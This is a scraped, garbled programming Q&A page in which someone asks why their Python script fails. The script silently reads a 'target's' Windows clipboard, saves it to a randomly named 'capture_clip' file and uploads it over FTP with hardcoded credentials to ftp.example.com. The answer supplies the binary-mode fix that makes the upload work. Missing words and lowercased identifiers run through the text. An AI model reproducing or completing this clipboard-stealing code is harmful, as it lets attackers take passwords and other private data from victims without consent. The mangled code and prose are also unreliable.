Send file contents over ftp python -


i have python script

 import os   import random   import ftplib   tkinter import tk    # now, grab windows clipboard data, , put var   clipboard = tk().clipboard_get()   # print(clipboard)   # feature work if string in clipboard. not files.  # if "hello, world" copied clipboard, work. however, if target has copied file or   # come error, , rest of script come false (therefore shutdown)    random_num = random.randrange(100, 1000, 2)   random_num_2 = random.randrange(1, 9999, 5)   filename = "capture_clip" + str(random_num) + str(random_num_2) + ".txt"   file = open(filename, 'w') # clears file, or create if not exist   file.write(clipboard) # write contents of var "foo" file   file.close() # close file after printing    # let's send file on ftp   session = ftplib.ftp('ftp.example.com','ftp_user','ftp_password')   session.cwd('//logs//') # move correct directory   f = open(filename, 'r')   session.storbinary('stor ' + filename, f)   f.close()   session.quit()  

the file send contents created python script (under variable "filename" eg: "capture_clip5704061.txt") ftp server, though contents of file on local system not equal file on ftp server. can see, use ftplib module. here error:

 traceback (most recent call last):   file "script.py", line 33, in<module>   session.storbinary('stor ' + filename, f)   file "c:\users\willi\appdata\local\programs\python\python36\lib\ftplib.py", line 507, in storbinary  conn.sendall(buf)   typeerror: bytes-like object required, not 'str'  

your library expects file open in binary mode, appears. try following:

f = open(filename, 'rb') 

this ensures data read file bytes object rather str (for text).


Comments

Popular posts from this blog

sequelize.js - Sequelize group by with association includes id -

android - Robolectric "INTERNET permission is required" -

java - Android raising EPERM (Operation not permitted) when attempting to send UDP packet after network connection -